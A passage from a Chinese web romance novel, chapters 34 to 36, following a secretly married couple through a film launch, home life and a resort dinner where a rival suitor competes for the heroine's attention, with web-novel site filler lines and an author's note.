现场掌声雷动容微月在台下看着又想起那次他开学演讲的场景此刻的他比当年桀骜肆意的少年气更添了几分沉稳和成熟像是历经风雨后尘埃落定真正笃定地站在云巅。
不禁之间她心头冒出点小骄傲。
不过对于她来说现在最重要的是先让自己变得更优秀。
开机仪式后容微月得知她有个媒体区定向专访是出品方安排的记者问她对于花丝镶嵌的看法她温和道:“这是我们国家传承千年的非遗工艺凝聚着中华民族的审美与情感我感谢剧组给予花丝镶嵌这样的舞台希望通过这部作品让更多年轻人看见、了解并喜欢上这
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门传统的技艺。”
记着含笑颔首:“谢谢容小姐的回答。”
采访顺利结束晚上是开机酒会快结束时她手机进来傅蔺征的信息:
【在大门等我回家了。】
容微月敲击屏幕:【好。】
她走到酒店大门外冷风肃肃
有开机仪式上或是今晚酒会注意到她的忍不住前来搭讪:
“容小姐你一个人吗?我送你回家吧?”
“容小姐我可以载你一程这里不好打车。”
“容小姐……”
她全都礼貌婉拒。
很快视野中一辆黑色的布加迪ChironSuperSport300+驶来打着车灯车身凌厉张扬毫不掩饰高调停在她旁边。
周围无人傅蔺征下了车走过来揶揄:“容微月我发现还是你有能耐。”
容微月:“……?”
“还说我经常被人搭讪我从对面停车场开过来不到五分钟都看到六辆车停在你面前了我要再迟点他们是不是准备在这儿半个车展啊?”
容微月不禁压下唇角看着这个醋坛子声音温柔:“可是他们都不是我要等的人呀我只在等你接我回家。”
傅蔺征闻言侧开视线唇角要弯起却又硬生生压下去。
容微月探头看过来:“傅蔺征你要是开心不用忍着的。”
男人懒嗤了声转头睨她:“你哪只眼睛看到我开心的。”
这人是只有在接吻的时候嘴才是软的吗……
傅蔺征给她打开车门“行了要回家还傻站着不上车?”
容微月含笑上了车布加迪前行傅蔺征指尖轻敲方向盘:“解释一下今晚过来打招呼怎么没说两句话就跑?”
晚上道具组的领导带她去给大领导们敬酒容微月没说两句就离开了害得他一整天都没能和她讲上几句话。
想到今晚的场景容微月脸热:“我不习惯。”
“什么。”
“你……你一直对我放电。”
傅蔺征笑:“你怎么这么自恋我看你几眼就叫放电啊?自己心思不纯就直接承认。”
“……”
明明他看她的眼神都虎视眈眈的带着侵略感说的话也意味深长周围还有其他人在她都生怕下一刻就暴露他们的关系。
容微月不搭理他想到另外一件事:“今天开机仪式结束后我的采访是你安排的吗?”
“嗯怎么?”
容微月浅笑:“没想到我这样的小卡拉米也有专访呢给我们晴月阁增加知名度了。”
傅蔺征眉梢吊起弧度“什么叫小
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第 35 章 “一句老公就脸红了?”...
第35章第三十五章
【“一句老公就脸红了?】
chapter35
听到他的话,容微月脸颊如酿了块桃子蜜糖,瞬间红透。
这称谓在她心里太过亲昵,当初结婚又猝不及防,她一直没好意思开口。
傅蔺征一副她不说就不放她走的样子,挡在她前面,“不叫?
她心跳如小鹿乱撞,几秒后羞得轻声开口:“老公……
小姑娘亮着湿漉漉的眸,嗓音如夏天山间潺潺的清泉又润又甜,酥软到骨子里。
这是婚后她第一次这么叫他,哪怕是他要求的,可这是独属于他身份的两字,傅蔺征听到心口如被火燎过,躁意涌生。
他承认他很坏。
好想看到她红着眼睛娇哭地抱着他这么叫啊。
容微月从他怀中挣脱出来,傅蔺征口干舌燥,看着她,唇角懒洋洋一松:
“一句‘老公’就脸红了?
容微月不理他,傅蔺征低低暧昧的嗓音落下:“没事,以后慢慢习惯,有的场景下你不由自主就会叫出来了。
容微月:嗯?QAQ
他说的是什么场景啊……
她想到高中毕业时俩人亲昵,傅蔺征就不是个只知道闷头苦干的类型,卖力没少卖力,但荤话一句也没少说,还特别会喘,涩气得要命,每次都哄着她回应,她不由自主都被他带坏。
不敢再往下想,她不理他往前走,俩人路过一个花铺,摊位上摆着漂亮的冰淇淋洋桔梗,卖花的老板热情问:“小哥哥小姐姐,这十五块一束,要不要带一只?
傅蔺征视线扫了圏,“都在这里了吗?
“对。
“麻烦都帮我包了。
傅蔺征付了款,老板欢喜应下,一大捧粉白色的洋桔梗纯净清新,是容微月最喜欢的花,当初他们刚在一起第一次约会,他给她送过。
傅蔺征接过花束,递到容微月怀中,眉梢挑起:“公主,不抱着么?
她怔了下,眼底荡漾波澜。
他一直都记得她喜欢什么,她把洋桔梗抱个满怀,浅浅弯唇,心头像抹了冰淇淋。
他带着她往前走,一边给她喂着坚果,容微月看着来来往往的情侣,软声问:“傅蔺征,你还记得我们上次一起逛超市的时候吗?
“嗯。
她笑笑:“当时我也看到一对中年夫妇牵着狗狗来逛超市,我特别羡慕,那是我梦想中的婚后生活,但没想到现在真的就实现了。
傅蔺征勾唇,揽住她:“不是早就说了,有我,当然所有的事情都能心想事成。
她扬起唇畔。
进了超市,俩人买了许多东西,
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
如今傅蔺征有了身份,不需要像从前拐弯抹角找借口,可以什么都给她买最好的。
走去结账时,容微月瞥到那一排排琳琅满目的雨伞,偷偷瞟傅蔺征,见他无动于衷,咳嗽着故作随意咕哝:“你还有什么要买的吗?
“没了,你还想缺什么?
她眼神落过去,抿了抿唇,“这个不要吗……
傅蔺征见此低笑,俯身在她耳边道:“容微月,你还感冒着,一天到晚能不能老实点?
她脸颊泛红,傅蔺征揽住她往前走,“走了,这里没我的尺寸。
“……?
这话更恐怖了呜呜。
买完东西,俩人回到家,一进门,呼呼就不爽地冲着傅蔺征嗷嗷叫,咬他裤脚,傅蔺征轻嗤:“一天到晚撒娇冲着你妈,饿了就来凶老子,怎么,在这个家你也要骑到我头上?
呼呼被傅蔺征拎起来,扑腾扑腾呜哼,男人眯眼看向容微月:“容微月,你公正评判一下,在你心里我重要还是你儿子重要?
容微月呆呆眨巴着眼,乖乖抱走呼呼,“伤人心的话就不用说了吧?
???
傅蔺征脸黑气笑,把她抓过来,“今晚睡觉你等着。
她弯眉逃走,说去插花,傅蔺征走去厨房,看到呼呼吧嗒吧扭着小屁股走过来,黏在他脚边,他睨它:“出于人道主义再喂你一顿,吃完饭你自己打包打包行李出门吧,这个家容不下你了。
呼呼:?
傅蔺征给小祖宗做晚饭,容微月插完花过来,傅蔺征也弄好了,叫她:“过来,再喝包感冒药。
容微月痛苦走过去,“能不喝吗,连花清瘟好难喝……
“想得美,再难喝也得喝。
她委屈巴巴接过,傅蔺征慵懒嗤:“伺候完小的,伺候大的,没一个省心的。
容微月抿唇:“要嫌麻烦可以不养的。
傅蔺征搂住她腰肢,抱在料理台上,俯身看她似笑非笑:“那把你扔了还是把呼呼扔了?
她想了想努嘴:“我吧,呼呼在家里时间长,跟你感情更深,我就是你普通室友。
他气笑:“容微月,有没有点良心,药都给你泡好了现在还来呛老子?
容微月一口气喝完,主动垫脚吻上他。
傅蔺征怔了下,下一刻旋即反客为主,把她搂得更紧,气息交织。
她身子半倾倒在料理台上,旁边的呼呼嚼着肉肉,默默看了眼旁边的他们,收回眼用爪子把碗扒拉地远了点。
半晌傅蔺征停下,薄唇泛着水光,容微月眸子弯如月亮般:“现在知道我的药有多苦了?
傅蔺征唇角挑起,黑眸深深:“没尝够,再试试?
听说看这本书的人都是很幸运的,分享后你的运气会更棒
她羞得推开他,才不让他得逞。
回房间去洗了澡,过了会儿傅蔺征回到房间,就看到容微月走出浴室,只穿了件薄薄的草莓棉质睡裙,肌肤白皙如玉,两条腿根还裸露在空气里,格外晃眼。
他喉间干燥,走去衣柜给她挑睡衣睡裤,“穿厚点睡觉,这几天不能着凉。”
“噢……”
她看到他拿的,“不用,有暖气不冷的。”
她喜欢裙子,主要睡得更舒服些。
傅蔺征滚了滚喉,“不行,就睡衣睡裤。”
非给她换上一件厚实的小兔子睡衣睡裤,容微月见此小声揶揄:“傅蔺征,你把我裹得这么严实,是你又怕忍不住吗?”
“……”
傅蔺征懒嗤:“我是那么没有自制力的人?”
“那你自己心里有数。”
躺到床上,容微月盖上被子,眨着眸看他:“不过傅蔺征,这个方法治标不治本,不然我感冒还没好之前,你这几天去我房间睡吧?这样比较好。”
男人对上她眼,轻嗤一笑:
“行啊,那明早见。”
他拿上换洗衣服,容微月呆住,见他走到门口转头看她,她咬唇咕哝:“晚安……”
他一身黑衬衣西裤,冷欲痞气,眼皮黑痣随着笑意挑起,风流肆意,“晚安。”
他带上卧室的门离开。
……不是,这人真走啊??
容微月等了好几分钟,门口都没有动静,她气鼓鼓跑去锁了门,重新缩进被子里。
-
晚上,傅蔺征当然还是进来了。
他就是去外面洗了个澡,想逗逗她,谁知道回来的时候发现门被锁了,给他气笑了,去拿了钥匙。
第二天容微月睡醒,睁开眼就看到傅蔺征躺在身边。
昨晚傅蔺征进来后抱着他,她睡得迷迷糊糊,感受到了,还气得想推开,奈何这人黏上来怎么也赶不走,跟赖皮狗一样。
偷看几眼他,又重新窝回他怀中。
再一次睁眼,床上只剩下了她一人,窗外白茫茫一片,冬日阳光温暖。
坐起身,容微月点开手机看到已经九点多,微信里照例是盛柳发来的旅游照片,又问她身体如何。
这两周容微月没怎么理他们,父母俩也感觉到这次她是真的很生气,便主动多和她联系,也没再追问她和严怀之间的事。
她攥着手机,吐了口气。
等他们回来,她就告诉他们她和傅蔺征结婚的事,不管他们支持与否,她都不管了。
下床洗漱完,走出卧室,傅蔺征在打室内高尔夫,他回头看到她,“醒了?”
容微月应了声,抱起在她身边打转的呼呼,仰眸打趣:“某些人昨晚不是说了晚安
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吗?怎么后来又进来了?是谁没有自制力啊?”
傅蔺征偏开眼:“我呢是怕某些人感冒了半夜不舒服叫天天不应的勉强进来履行一下丈夫照顾妻子的责任。”
她含笑哦了声不戳穿他傅蔺征把球杆收起来:“今天感冒怎么样?”
“好多了还有点咳嗽……”
“先去吃早餐。”
去到餐厅她看到桌面上有熬好的红糖小米粥还煎了鸡蛋和锅贴蒸了奶黄包她惊讶“这都是你做的?”
他轻嗤了声“容微月你这震惊的表情几个意思我平时厨艺有那么差?”
难道不差嘛……
这些东西不难但是对于傅蔺征这种分不清山药和茭白的大少爷来说可太不容易了。
坐下来她仰眸看他:“傅蔺征你以后可以经常做饭给我吃吗?”
傅蔺征笑了“为什么不行?”
他不就是想要喂胖她?
他倚着桌面慵懒道:“你想要吃什么晚上提前告诉我一道菜十个吻。”
容微月:?
她淡淡看他:“傅蔺征你想占我便宜就直说一天天小花招还挺多。”
“……?”
现在越来越会呛他了傅蔺征气得勾唇俯身索吻把她亲得面红耳赤才放开“老子想占便宜都直接来还需要花招么?”
这人……
他把流沙包递给她“行了赶紧吃。”
她应了声乖乖咬着。
饭后容微月去客厅陪呼呼玩她今儿给自己放了一天假在家里休息傅蔺天也没有任务说给她做好吃的。
买了筒骨和牛肋排他去厨房准备食材手机振动是夏斯礼打来的电话那头时差刚倒过来:
“我靠这几天累**连轴转昨天刚从洛杉矶回来刚把红安的收购案忙好阿征你最近怎么样啊也不联系我?”
傅蔺征把手机开了免提搁在中岛台上切着牛肉转头看向客厅里和呼呼玩得正欢的小姑娘懒洋洋道:
“最近生活多姿多彩着联系你干嘛。”
“就你一个孤家寡人还多姿多彩啊?”夏斯礼心疼问“我听说你飞去了日本
傅蔺征嗤笑:“谁跟你说老子郁闷?”
“得了别装了兄弟我什么都知道。”
他心情好干嘛不待在京市还出差那么久?不就是为了躲着微月?之前和人家住在一块儿晚上连酒都不出来喝了还没结婚呢就跟妻管严一样。
夏斯礼试探问:“你和微月……怎么样?她最近还好吗?”
傅蔺征神色怡然:“她很好我也很好我和
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她,如胶似漆,你侬我侬,非常好。
???
完了完了,看来是不好了,这都开始出现癔症了?!不会现在天天出门捡垃圾吃吧?
这人和当初分手一样,表面嘴硬云淡风轻,其实根本没放下,这次容微月去相亲,那天同学聚会俩人之间冷得和陌生人一样,他知道傅蔺征肯定心痛如刀绞,只是不想承认。
夏斯礼心疼道:“阿征,前几天我太忙了,现在我来了,多年兄弟我一定为你两肋插刀!这样吧,我组个局,大家周五晚上一起吃个饭,我帮你!
挂了电话,客厅里,正扔着**球的容微月看到手机亮起,上次一起去山庄玩的八人群跳出来夏斯礼的信息:
【@全体成员,帅哥美女们,周五晚上一起出来嗨啊?我舅最近新开了个度假山村,上去玩玩。】
殷绿很快冒泡:【度假山庄?在哪儿呀,远不远?】
夏斯礼:【开车一个小时就能到,上去住一晚,费用本夏公子全包了。】
殷绿:【!!】
湖安:【夏公子大气啊!】
付筱盈:【好呀好呀,我也去!】
夏斯礼:【你读书还去啥去?】
付筱盈:【周末又不上学,我就去,斯礼哥你可不能抛弃我!】
付筱盈最喜欢黏着他们,哥哥付则承和湖安也说没问题,夏斯礼问傅蔺征,夏千棠也发了几张山庄的图片上来,点了容微月的名字:【月月,你也出来玩呀?好久我们没出来了!】
正好傅蔺征走过来,容微月问他此事,傅蔺征道:“夏斯礼想撮合我俩,组了个局。
“啊?
傅蔺征简单解释了下,容微月不禁笑:“可能我们领证太匆忙了,他们不敢相信。
说到底就连她一开始也觉得不真实。
傅蔺征问她去不去,她说可以聚聚,她本来朋友就不多。
于是她在群里回:【可以。】
傅蔺征紧随其后:【去。】
夏斯礼见此:看看看看!这人就是喜欢微月没放下!她一同意他就去了!男人啊就是过不了情关!
兄弟四人群里,夏斯礼出来道:【阿征,我知道你还是放不下她,放心,兄弟一定帮你撮合。】
湖安:【阿征,我知道你还是放不下她,放心,兄弟一定给你擦眼泪。】
付则承:【阿征,我知道你还是放不下她,放心,兄弟一定带你就医。】
傅蔺征:“……??
聊天拿给容微月看,她不禁弯眉,傅蔺征捏她脸:“容微月,你还是不打算给我一个名分是吧?让我在他们面前这么可怜?
她脸红,也觉得这件事可以先告诉几个亲近的朋友:“那到时候有机会
你的朋友正在书荒,快去帮帮他吧
就和他们说?”
傅蔺征轻嗤。
他现在只想把结婚证甩他们脸上。
确认人数后,夏斯礼去安排食宿,中午殷绿给容微月打电话,说有个特别尴尬的事。
彭清时本来问她周五有没有空,三个人一起出来吃饭,殷绿说要去度假山庄,随口说他想来也可以来,谁知道那头得知傅蔺征和容微月去后,就说自己也有空,这下轮到殷绿傻眼了。
“完了,我该怎么回彭子啊?你和傅蔺征结婚了,傅蔺征肯定介意吧?”
一旁给容微月切牛肉的傅蔺征闻言,忽而轻笑:“不介意,叫他来吧,人多热闹。”
容微月:?
最后傅蔺征替她应下,殷绿转头告诉夏斯礼,夏斯礼得知是彭清时,也大方欢迎说没问题。
容微月诧异问傅蔺征:“你真的不介意彭清时来吗……”
这人当初不是对彭清时敌意最大?
傅蔺征语调悠然:“介意什么?既然是我老婆的朋友,现在也是我的朋友呢。”
容微月:“……?”
两天后周五,容微月在工作室忙碌,傅蔺征在明恒开会,容微月便说傍晚直接山庄见。
然而她没想到,彭清时竟然来接她。
“刚好在附近谈事情,就顺路捎上你了。”彭清时语气温润,笑容如常。
容微月懵然,最后只好上了车。
彭清时把东西递来:“给你买了热饮和糕点,路上先垫垫肚子,我刚才问了殷绿,她说有人接她,那我们直接过去。”
容微月微微一怔,淡声道:“好,谢谢。”
“跟我那么客
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气干什么。”
容微月先是让彭清时拐去了禾盛庭一趟,她上楼把呼呼收拾好抱下来,因为今晚要过夜,不好让呼呼独自在家。
回到车上,呼呼被放到后座,彭清时想摸它,小家伙缩到一旁,黑溜溜的眼睛警惕打转,有点炸毛。
容微月笑:“它比较怕生,不让人随便摸的。”
“看不出来,傅蔺征竟然会养这么可爱的小狗?”
“这个是我当初和他一起养的。”
彭清时怔了怔,“当初他一直养到现在吗?”
“嗯。”她笑着给呼呼喂肉干。
彭清时默了默,没再追问,车子驶上高架,他换了话题问她近况:“之前你们那个杜海滨的事情后来怎么解决的?你没事吧?”
“没事,那个人后来被踢出剧组,直接业内**了。”
“这么严重?”
“嗯,傅蔺征安排的。”
彭清时怔愣:“他倒挺替你撑腰的,那你和傅他最近如何?你们平时在家……见面多吗?”
“……挺多的。”
晚上睡觉都见,白天睁开
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
眼也见……
彭清时指尖摩挲着方向盘,沉吟片刻,还是开口:“微月,不然你还是搬出来吧?我表姐在你工作室附近有套房子,她刚好出国了,你可以先住进去,不要钱,我都和她说过了。”
“不用了,我现在挺好的。”
彭清时忍不住道:“你是很喜欢和傅蔺征住在一起吗?”
“嗯,特别喜欢。”
“……”
彭清时按捺不住情绪:“可是六年了,很多事都变了,你放不下,那他呢?你的人生不应该被困在原地,你为什么不尝试接受一下新的人?你应该知道我……”
“彭清时。”
她打断他:“我说了,我只把你当朋友。”
他的话卡在喉咙口。
他高中就喜欢容微月,这些年他一直以好朋友的身份自居,他知道容微月根本不喜欢他,哪怕是一点点的靠近她都会拒绝。
他从来就没有机会。
可凭什么那个有机会的是那个浪荡不羁的公子哥傅蔺征?
傅蔺征能有他爱容微月吗?
后排的呼呼汪汪汪叫了几声,凶巴巴盯着彭清时,似乎很不爽,话题被打断,容微月把它抱到前排来,没再说话。
过了会儿,她手机进来信息。
傅蔺征:【出发了么?我刚忙完,也过去了。】
容微月:【出发啦。】
她想到一事:【忘记带感冒药了……】
傅蔺征:【你人没弄丢就行,我早上都给你带了。】
她心头一暖,报备道:【我和呼呼现在在彭清时车上,他过来接我的。】
傅蔺征:【?几个意思,拐卖我老婆和儿子?】
她压下笑意解释了下,说什么都没有,那头傅蔺征上了布加迪,闻言咬着青橘糖,吊儿郎当回复:
【没事,让他珍惜最后一点和你独处的时光,今晚来死死心就老实了。】
她说要不直接和彭清时说他们结婚了,傅蔺征玩心却起来了:【不用说,光听能有看到的更震撼?】
这人不知道又有什么主意了……
算了,等今晚她再和彭清时解释一下吧,她其实没想“耍”他,但她早就和彭清时说过她不喜欢他了,她和傅蔺征结婚的事也不需要向谁交代。
一个小时后,两人抵达一处半山腰的度假山庄,车子蜿蜒而上,冬日薄雾缠在山林间,沿途是茶园、果林和高尔夫球道等等,贵气有雅致。
根据夏斯礼发来的定位,彭清时将车停在一栋山腰的酒店前,下了车容微月抱着呼呼走进酒店,夏千棠的声音传来:
“月月——”
容微月看到夏家兄妹和付家兄妹已经到了,在旁边的休息室喝茶,容微月走过去,夏千棠笑
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
拉住她:“月月好想你啊,最近我和我哥在忙个收购案,终于忙完了,又可以一起玩啦。”
“嗯……”
付筱盈也走过来,眼睛弯弯:“微月姐,好久不见。”
容微月挺喜欢这个小妹妹的,酒窝点起:“好久不见。”
“诶,微月姐,呼呼怎么在你这儿啊?”
她愣了下,夏千棠笑着对付筱盈道:“你不是喜欢呼呼?你去抱着它玩一会儿。”
“好……”
付筱盈开心地把呼呼抱走,夏斯礼过来打招呼,却看到她后方的彭清时,愣住:“微月,你们一起来的啊?”
“对,我载微月来的,夏先生您好。”
夏斯礼头疼想拍脑袋:一个彭清时,一个严怀,傅蔺征,你的路还长着呢!
夏斯礼含笑和他握手,说老熟人了,付家兄妹也和他打招呼。
过了会儿湖安和殷绿走进来,夏千棠八卦:“哎呦,你俩怎么一起来的?”
殷绿忙说别误会,自己就是个蹭车的,湖安看了眼殷绿,温柔提唇:“我路过殷绿学校,就捎上了她。”
殷绿扑到夏千棠身旁,俩女生打闹,夏斯礼给容微月倒茶,私下叫她到一旁,“对了微月,有个问题问你。”
“怎么了?”
夏斯礼说没有其他意思,就是刚好听说的,“你最近是不是在和一个叫严怀的男孩子相亲啊?”
夏斯礼说他得知这个严家去年做生意遇到点问题,现在公司面临危机,这事很少人知道,“我觉得还是得和你说一声,别掉坑里了。”
容微月了然淡笑,“我和他已经没联系了,我对他也没意思。”
夏斯礼:**阿征,你希望的太阳升起来了!!当初自己难过了半天不长嘴去问,现在还得靠他!
这时门口传来一阵张扬炸裂的跑车轰鸣声,几人对视一眼,不用猜,肯定是傅大少爷来了。
一辆银黑色布加迪驶来,车头线条冷厉如刀锋,墨黑轮毂碾过青石地面,张扬拉风到极致,停在酒店门口。
下一刻,车门打开,马丁靴利落踩地,傅蔺征踏下车,黑色冲锋衣搭配工装裤,身型被衬得修长。
他五官深刻,剑眉星目,关上门走来,气场慵懒又勾人得要命。
付筱盈激动:“蔺征哥来啦!好帅呀!”
夏千棠笑着打趣:“傅蔺征,你出门每次都这么高调的吗?方圆百里都听到了。”
付则承揶揄:“高调是他的座右铭,谁敢再质疑我粉爷,我跟他急。”
“哈哈哈哈……”
傅蔺征含笑走过来,直勾勾的黑眸率先落向容微月,后者对上他的眸,心头炸开小烟花,浅浅弯眉。
到面前,朋友们和他打招呼,傅蔺征看向站在容微月旁边的彭清时。
彭清时与他对视,眸光暗流涌动:
“傅先生好。”
彭清时轻笑:“我之前听说过这个山庄特别雅致,今天就大胆跟了过来,应该不会打扰你们吧?”
傅蔺征和他握手,黑痣下的眸挑起几分兴味,唇角一松,笑意不达眼底:
“怎么会,是微月的朋友就是我的朋友。”
“今晚我保证,一定会让彭先生不虚此行,永生难忘。”
〓作者有话说〓
修罗场,来也!!其实是秀恩爱场嘿嘿嘿!下章热闹咯!
阿征:让你小子记住什么叫正宫[白眼]
哈哈哈没有提前告诉朋友们不是戏耍啦,就是好玩,也当做是我的安排吧~~
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266个随机红包,对了,中午十二点再加更一章!记得来看来看来看!!!
第 36 章 “容微月,我老婆。”...
第36章第三十六章
【“容微月,我老婆。”】
chapter36
彭清时闻言,脸色微僵。
搞笑,微月的朋友就是他朋友?他哪来的资本宣誓**啊?
空气中弥漫着修罗场之间浓浓的火/药味,周围几个男人和殷绿、夏千棠几人面面相觑,暗自激动。
打起来打起来给我打起来!!
夏斯礼按下想吃瓜的心态,含笑打圆场:“来者是客,今晚好好玩,走吧,我们先进去放行李。”
九人走进室内,夏斯礼去前台拿房卡,他包了个方便聊天的独栋大别墅,里面一共六个房间,每个房间两张床。
夏斯礼分房卡:“四个女生两间,湖安、则承一间,我和阿征一间,彭同学就一个人一间吧,还多一间……”
傅蔺征伸手拿过最后一张房卡:
“我一个人住。”
夏斯礼痛惜:“阿征,我们平日里最亲密的,你不跟我一起并头夜话了?”
“……滚。”
大家笑,傅蔺征把玩着房卡,慢条斯理道:“单独的房间,晚上方便。”
容微月对上他目光,听懂话中之意,耳根发红。
果然这人不老实……
领完房卡,大家去往餐厅。
一行人有说有笑,容微月趁着无人注意,放慢步伐,走到队伍最后的傅蔺征旁边。
男人懒洋洋睨她一眼,嗓音疏懒:“我以为某人打算和我装陌生人呢。”
容微月轻轻拉了下他袖子,眼睛弯成月亮:“没有啊,这不是过来和你打招呼?”
他视线落向她空荡荡的左手无名指,眯眼:
“婚戒呢?”
“我先收到包里了……”
“敢情我还是你见不得光的地下情人呗。”
看他不爽的模样,她眉眼一弯,似春水泛起波澜,小声保证:“今晚会和他们公开的。”
傅蔺征忽而直接把她揽到怀中,嗓音压下:“你再敢不理我试试?”
前面的朋友们但凡转头就能看到,她心跳如鼓,“不会了……”
容微月慌得保证,看她吓成小兔子,傅蔺征松开手,眼底散开无奈笑意。
算了,再装一会儿。
反正结局早已尘埃落定。
他捏了下她耳垂,往前走,殷绿走来容微月身边,坏笑:“我刚刚可看到了啊,你俩好甜啊,结了婚动手动脚就是自然。”
容微月羞得让她别乱说,殷绿感慨就她一个人知道这个惊天大秘密,憋得太难受了,“我看彭清时对你死灰复燃了,明明你当初都拒绝得很清楚了,真头疼……”
“没事,他今晚就知道了。”
前方,夏斯
你的朋友正在书荒,快去帮帮他吧
礼过来揽住傅蔺征肩膀:“阿征,我有个劲爆消息,你求我我就告诉你,我保证你听完能高兴得蹦起来!”
傅蔺征手插兜,“老子什么时候求过人。”
“跟微月有关啊。”
傅蔺征扯唇:“不求。”
他老婆的消息还要别人告诉他?
“你就嘴硬吧,天塌下来都有你嘴顶着,”夏斯礼见俩人刚刚没说话,就知道他们还在冷战,“看你可怜我告诉你,我刚刚直接问微月了,她对那个相亲男没意思,我的好兄弟,你的心放肚子里吧!”
“……”
傅蔺征偏开眼笑了,夏斯礼:“我就知道你一听就高兴!别压抑你自己,来,来蹦一个!”
傅蔺征笑着踹他一脚,让他滚,夏斯礼正经道:“但你别高兴太早啊,没了严怀,彭清时还是个劲敌,你没看他都黏在微月身边?你抓点紧吧,再嘴硬下去人就没了!”
傅蔺征拍拍他肩膀,勾唇:“谢了,我和微月的婚礼到时候请你当证婚人,我给你包个大红包。”
“……”夏斯礼无语翻白眼,“大哥,八字没一撇就想结婚了,你先抓紧时间追人吧!”
傅蔺征嘴太硬,贺行屿没长嘴,一天天的,他为了他们这一对对,多闹心啊!
走到餐厅包厢,容微月和殷绿最后进去,圆桌只剩下傅蔺征和彭清时中间的两个空位。
两人都看过来。
容微月下意识看向傅蔺征,他朝她扬了扬眉,意味明显,她心尖荡漾,乖乖走去他旁边坐下。
傅蔺征偏眼,悠悠然朝彭清时勾起唇角,后者拧眉,薄唇微抿成一条线。
看到这幕的夏斯礼:嗯??
第一局还给傅蔺征赢了?
傅蔺征给呼呼倒了点狗粮,让它待在角落吃着,夏斯礼说已经点了菜,“今晚有火锅加烤羊腿,你们还要加什么菜?”
“除了羊腿还有别的么。”傅蔺征问。
“那羊腿五六斤呢,我怕吃不完,你想加也行。”
傅蔺征淡声言:“微月不吃羊肉。”
全场顿时冒出几声姨母笑,夏斯礼朝容微月挤眉弄眼:“微月,你看看,还得是我们阿征记得你的口味,阿征就是个心细如发的人!现在这样的男孩子不多了!”
容微月:“……”
湖安忙点头附和:“我也不爱吃羊肉,阿征都不记得。”
付则承也附和:“我也不爱吃羊肉,阿征都不记得。”
付筱盈瘪嘴:“对啊,我也不爱吃羊肉,蔺征哥你也不记得。”
付则承连忙打住她:“少来,你昨晚还干了二十串羊肉串。”
“哥!”
夏斯礼笑:“你们一个个,我要不别点了?!”
大家
听说看这本书的人都是很幸运的,分享后你的运气会更棒
笑说羊肉还是要吃的傅蔺征勾唇翻了翻菜单转头看向身旁的人明目张胆的偏爱:“烤牛肉粒和牛仔骨可以?”
容微月轻弯唇:“嗯……”
点完菜过了会儿服务员端上菜品和蘸料大家自行调配彭清时忽而问:“微月你爱吃小米辣我帮你调一份?”
容微月还没拒绝彭清时往碟子里舀着然而傅蔺征疏淡冷锐的嗓音传来:“她感冒了不能吃这么辣彭先生你倒也不用这么热心。”
彭清时怔住:“微月你感冒了?”
容微月点点头说好多了“没事我自己来。”
酱料转到容微月面前她正纠结着却看到傅蔺征拿起公勺问:“给你调一份?你应该会喜欢不会太辣。”
她怔了怔软声应下傅蔺征了解她的口味调好后她夹了片毛肚一蘸好吃得弯眉点头“真好吃。”
彭清时看着神色暗下。
半晌服务员给烤炉加炭火傅蔺征把肉放上去负责翻烤忽然“嘭”地一声油汁猛地炸开溅到他手背上。
清脆的声音格外明显夏斯礼几个看过来“阿征你没事吧?”
傅蔺征随意拿纸巾擦了下神色淡淡“没事。”
付筱盈:“蔺征哥你手背都红了!”
大家也说要处理下服务员拿了烫伤膏进来付筱盈说帮他涂
容微月看着轻蹙细眉担忧道:“还是涂下药吧不然等会儿肯定要起泡。”
傅蔺征闻言这才收了声夏斯礼鄙夷果然还得微月出马一句话瞬间老实。
他把烫伤膏递来傅蔺征感慨:“手疼涂不了。”
容微月无奈想笑接过“我帮你涂?”
傅蔺征压下唇角应了声伸手任由她弄。
夏斯礼:傅蔺征你小子那么拙劣的苦肉计竟然有用?!
容微月认真地给傅蔺征涂药神色专注白皙的指尖轻轻柔柔彭清时见此眉峰拧起紧紧攥着杯子。
付筱盈嘟嘴:“蔺征哥我刚才说帮你涂你怎么就不同意啊?微月姐你就同意。”
容微月掌心被轻挠一下抬眸就对上傅蔺征悠然目光她耳垂薄红他吊起眉梢:
“我是帮她烤肉受了伤当然她来负责了。”
夏斯礼继续趁热打铁附和:“微月你看到阿征了吧你爱吃牛肉他手就是握住这炭火也无所谓!这就是真正的好男人永远把女孩子的想法放在第一位这种好男儿杀伤力太强了!想嫁!”
容微月:“……”
傅蔺征:“……”
傅蔺征无语瞥过去夏斯礼朝他挑眉:【
你的朋友正在书荒,快去帮帮他吧
不用谢夸张了点但是一定有效。】
殷绿憋笑“夏斯礼你也太夸张了!”
“你懂什么我今天说好了要为兄弟两肋插刀。”
湖安:“可我感觉你好像是插朋友两刀。”
夏斯礼:“……”
大家笑傅蔺征懒得搭理夏斯礼处理完伤口继续烤肉彭清时见此开始给容微月和殷绿夹菜殷绿知道自己是个幌子赶紧拒绝很快容微月碗里堆成小山“彭清时你吃吧我自己可以夹的。”
彭清时又给她夹笑笑:“没事儿
傅蔺征慵懒勾唇“是么?”
这人在阴阳怪气什么彭清时目光一冷:“怎么了之前大学时候我们每次吃火锅微月必点的。”
夏千棠揶揄:“是吗傅蔺征最爱吃的也是毛肚和鹅肠从小到大每次火锅必点。”
彭清时忽而呆住。
湖安笑:“那你们这是……谁影响谁啊?”
容微月弯了弯唇主动承认:“以前我很少吃被傅蔺征带着吃了一次就爱上了。”
她很多饮食习惯都是被她影响的就像从前她喜清淡遇到他后就开始噬辣。
彭清时脸色微僵夹着菜的手落也不是放也不是最后还是收了回去服务员送上来一壶玉米汁一壶青柠汁傅蔺征问容微月:“给你倒青柠汁?”
她点点头“我想喝点冰的。”
付则承助攻:“阿征我发现你很了解微月啊?”
傅蔺征淡淡道:“从高中就开始喂当然了解。”
付筱盈诧异:“从高中开始喂?什么意思?”
夏千棠笑:“盈盈你这就不知道了吧傅蔺征高中只对一个女生好就是微月只要微月受欺负傅蔺征都是第一个挡在前面的。”
付筱盈愣住彭清时却扯了下唇语气半开玩笑:“可我记得当初傅先生刚追微月的时候微月还和我说过对这样的公子哥很烦只想对他避而远之。”
奶白色火锅咕嘟嘟冒泡氛围却冷了几分。
付筱盈满头问号大脑过载几秒后容微月掀起眸淡声开口:“嗯我一开始是觉得傅蔺征是个目中无人的大少爷但后来慢慢接触才发现我对他有很多偏见。”
